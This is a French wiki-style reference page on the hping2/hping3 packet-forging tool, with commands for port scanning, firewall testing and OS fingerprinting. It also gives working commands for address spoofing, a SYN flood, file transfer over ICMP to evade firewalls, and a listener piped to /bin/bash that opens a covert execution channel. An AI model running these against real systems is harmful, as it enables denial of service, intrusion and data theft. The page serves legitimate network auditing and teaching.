Hping
| Fiche express | |
|---|---|
| Type | Forge et manipulation de paquets réseau |
| Versions | hping2, hping3 |
| Usage | Test de règles de firewall, scan, audit TCP/IP |
| Voir aussi | Idle scan · Nmap · Tcpdump |
hping (hping2 / hping3) est un outil de forge et de manipulation de paquets réseau. Il crée des paquets non usuels afin de tester la réaction des équipements (firewalls, routeurs, piles TCP/IP). hping2 gère la fragmentation, les tailles arbitraires et le transfert de fichiers encapsulés dans les protocoles supportés.
Cas d'usage
- Tester les règles d'un firewall
- Scanner des ports (éventuellement en usurpant une adresse)
- Tester les performances réseau (protocoles, tailles de paquets, TOS, fragmentation)
- Découverte du « Path MTU »
- Transfert de fichiers à travers des règles de firewall restrictives
- Traceroute avec différents protocoles / usage type Firewalk
- Détermination d'OS à distance
- Audit de pile TCP/IP
- Outil scriptable en langage TCL
Options principales
-c <nombre> Nombre de paquets à envoyer
-s <port> Port TCP source (aléatoire par défaut)
-d <port> Port TCP destination
-S Positionne le flag TCP SYN
-F Positionne le flag TCP FIN
-A Positionne le flag TCP ACK
Exemple commenté
hping3 -c 3 -s 53 -p 139 -S 192.168.1.1
Ici, 3 paquets TCP SYN (-c 3, -S) sont envoyés vers le port 139 (-p 139) de l'adresse 192.168.1.1, en utilisant le port source 53 (-s 53). Le port source 53 est choisi car certains firewalls autorisent le trafic DNS quelles que soient les autres règles.
# Port TCP 80 ouvert
hping3 -c 3 -s 53 -p 80 -S exemple.tld
# Port TCP 139 fermé
hping3 -c 3 -s 53 -p 139 -S 192.168.0.1
# Port TCP 23 bloqué par une ACL de routeur
hping3 -c 3 -s 53 -p 23 -S 192.168.0.254
# Paquets supprimés par un dispositif de sécurité pendant le transit (aucune réponse)
hping2 -c 3 -s 53 -p 80 -S 192.168.10.10
Envoi de paquets et observation
Tester le comportement d'un hôte avec tous les flags à 1 (SYN, PUSH, FIN, ACK, RST, URG). Sur la machine cible, ouvrir une capture avec Tcpdump :
tcpdump -p -nnvv host <ip>
Depuis la machine attaquante :
hping3 --syn --push --fin --ack --rst --urg <ip>
Spoofing
hping3 --count 3 --baseport 80 --keep --destport 80 --syn --spoof 10.0.0.2 10.0.0.2
--count: nombre de requêtes--baseport/--keep/--destport: port source, conservation du port source sans incrément, port de destination--syn: active le drapeau SYN--spoof: usurpe l'adresse source
Depuis Tcpdump, les paquets semblent alors provenir de l'adresse usurpée.
Encapsulation sur ICMP
hping3 peut passer un filtre ICMP (cas où tout est filtré sauf le ping). En créant un fichier test.txt de 16 octets :
hping3 --icmp --count 4 --data 4 --file test.txt 10.10.10.2
Côté cible :
tcpdump -nnvvX 10.10.10.2
Scan de système
# Scan du port 111
hping3 -I eth0 -S 10.10.10.2 -p 111
# Incrémenter les ports à partir de 111
hping3 -I eth0 -S 10.10.10.2 -p ++111
# Port 139 : le retour SA indique un port ouvert ; win=64240 trahit un hôte Windows
hping3 -S -p 139 10.10.10.100
Attaque par SYN flood
Envoi de demandes d'ouverture de session sans les fermer :
hping3 --flood -p 80 -S <ip_cible>
Autres usages
# ICMP ping
hping3 -1 10.0.0.1
# ACK scan port 80
hping3 -A 10.0.0.1 -p 80
# UDP scan port 80
hping3 -2 10.0.0.1 -p 80
# Collecter le numéro de séquence initial
hping3 192.168.0.100 -Q -p 139 -s
# SYN scan ports 50-60
hping3 -8 50-56 -s 10.0.0.1 -v
# FIN, PUSH et URG sur port 80
hping3 -F -p -U 10.0.0.1 -p 80
# Scan sur un masque entier
hping3 -1 10.0.1.x --rand-dest -I eth0
# Intercepter le trafic contenant la signature HTTP
hping3 -9 HTTP -I eth0
Passer un fichier à travers un firewall
Sur le poste récepteur :
hping2 --listen sig -1
Sur le poste émetteur :
hping2 <hote_cible> -e sig -E file.txt -d 50 -1
-d: taille des données envoyées-1: protocole ICMP (TCP par défaut)-e: signature du fichier-E: fichier à envoyer
À noter qu'une commande d'écoute redirigée vers un interpréteur (par exemple hping2 --listen sig -1 | /bin/bash) revient à ouvrir un canal d'exécution : cet exemple illustre le risque et ne doit être manipulé qu'en laboratoire.
Voir aussi
- Idle scan — scan par machine zombie s'appuyant sur hping3
- Nmap — scanner de ports
- Tcpdump — capture réseau
- Catégorie:Reconnaissance